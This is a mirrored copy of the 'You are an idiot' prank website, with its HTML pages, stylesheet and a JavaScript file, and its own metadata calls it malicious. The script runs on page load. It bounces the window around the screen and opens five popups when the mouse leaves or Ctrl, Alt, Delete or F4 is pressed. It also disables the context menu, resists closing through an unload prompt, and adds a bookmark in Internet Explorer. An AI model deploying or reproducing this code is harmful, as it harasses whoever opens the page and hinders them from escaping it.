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<html>
<!-- Mirrored from youareanidiot.cc/ by HTTrack Website Copier/3.x [XR&CO'2017], Mon, 24 Apr 2023 09:47:36 GMT -->
<head>
<title>C.A.N.T.A.L.O.U.P.E</title>
<meta name="Author" content="The ADR and Jazzy (After 2020 - Endermanch)">
<meta name="Keywords" content="you are an idiot, you, are, an, idiot, fool, youdontknowwhoiam.org, youdontknowwhoiam, you dont know who i am, you, dont, know, who, i, am, org, dot, aregner, jazzy, adr">
<meta name="Description" content="This is the orgional and the best flash video on the 'net. Once found on www.youdontknowwhoiam.org, not found where it belong, right here on www.youareanidiot.org.">
<meta property="og:type" content="website">
<meta property="og:title" content="You are an idiot! (dot cc)">
<meta property="og:description" content="This is a new malicious iteration of the legendary website.">
<meta property="og:url" content="index.html">
<meta property="og:image" content="images/idiot.png">
<meta property="og:image:secure_url" content="images/idiot.png">
<meta property="og:image:width" content="256">
<meta property="og:image:height" content="256">
<meta property="og:image:alt" content="Idiot!">
<link rel="stylesheet" href="styles/styles.css">
<script src="scripts/you.js"></script>
</head>
<body>
<div class="idiot-container">
<div class="info-container">
<img class="speaker" id="youare-micon" src="images/speakerm.png">
</div>
<video src="media/cantaloupe.mp4" type="video/mp4" id="youare-video" muted autoplay loop/>
</div>
<audio id="youare-audio" loop hidden>
<source src="media/cantaloupe.mp3" type="audio/mp3">
</audio>
</body>
<!-- Mirrored from youareanidiot.cc/ by HTTrack Website Copier/3.x [XR&CO'2017], Mon, 24 Apr 2023 09:47:48 GMT -->
</html>

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<html>
<head>
<title>C.A.N.T.A.L.O.U.P.E</title>
<link rel="stylesheet" href="styles/styles.css">
<script src="scripts/you.js"></script>
</head>
<body>
<div class="idiot-container">
<video src="media/cantaloupe.mp4" type="video/mp4" id="youare-video" muted autoplay loop/>
</div>
<audio id="youare-audio" autoplay loop hidden>
<source src="media/cantaloupe.mp3" type="audio/mp3">
</audio>
</body>
</html>

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/* [Oct 2021] Added to comply with strict browser policies. */
document.addEventListener('click', musicPlay);
function musicPlay() {
var audio = document.getElementById('youare-audio');
var micon = document.getElementById('youare-micon');
micon.addEventListener('click', musicPlay);
if (audio.duration > 0 && audio.paused) {
audio.play();
micon.src = "images/speaker.png";
}
else {
audio.pause();
audio.currentTime = 0;
micon.src = "images/speakerm.png";
}
document.removeEventListener('click', musicPlay);
}
var faudio = new Audio('youare.mp3')
faudio.addEventListener('timeupdate', function() {
console.log('TimeUpdate invoked.');
if (this.currentTime > this.duration - .45) {
this.currentTime = 0;
this.play();
}
}
);
/* [Oct 2021] End part. */
function bookmark() {
if ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4)) {
var url = "lol.html";
var title = "Idiot!";
window.external.AddFavorite(url, title);
}
}
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function changeTitle(title) {
document.title = title;
}
function openWindow(url) {
aWindow = window.open(url, "_blank", 'menubar=no, status=no, toolbar=no, resizable=no, width=357, height=330, titlebar=no, alwaysRaised=yes');
}
function proCreate() {
for (var i = 0; i < 5; i++) {
openWindow('lol.html');
}
}
function newXlt() {
xOff = Math.ceil(-6 * Math.random()) * 5 - 10;
window.focus();
}
function newXrt() {
xOff = Math.ceil(7 * Math.random()) * 5 - 10;
window.focus();
}
function newYup() {
yOff = Math.ceil(-6 * Math.random()) * 5 - 10;
window.focus();
}
function newYdn() {
yOff = Math.ceil( 7 * Math.random()) * 5 - 10;
window.focus();
}
function fOff(){
flagRun = 0;
}
function playBall() {
xPos += xOff;
yPos += yOff;
if (xPos > screen.width - 357) newXlt();
if (xPos < 0) newXrt();
if (yPos > screen.height - 330) newYup();
if (yPos < 0) newYdn();
if (flagRun == 1) {
window.moveTo(xPos, yPos);
setTimeout('playBall()', 1);
}
}
/* [Oct 2021] Better code. */
window.onload = function () {
flagRun = 1;
playBall();
bookmark(); // Internet Explorer only (what a piece of shit)
return true;
}
window.onmouseout = function () {
proCreate();
return null;
};
window.oncontextmenu = function() {
return false;
}
window.onkeydown = function() {
var keyCode = event.keyCode;
if (keyCode == 17 || keyCode == 18 || keyCode == 46 || keyCode == 115) {
alert("You are an idiot!");
proCreate();
}
return null;
}
window.onbeforeunload = function() {
return "Are you an idiot?";
};
/* [Oct 2021] End of amendments. */

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body {
margin-left: 0;
}
.info-container {
display: inline-flex;
padding: 7px;
align-items: top;
}
.info-container div {
margin-left: 7px;
}
.idiot-container {
position: absolute;
top: 0;
bottom: 0;
width: 100%;
height: 100%;
}
.idiot-container video {
z-index: -100;
width: 100%;
height: 100%;
min-height: 100%;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
.links {
display: inline-block;
}
.speaker, .link {
cursor: pointer;
opacity: 0.85;
}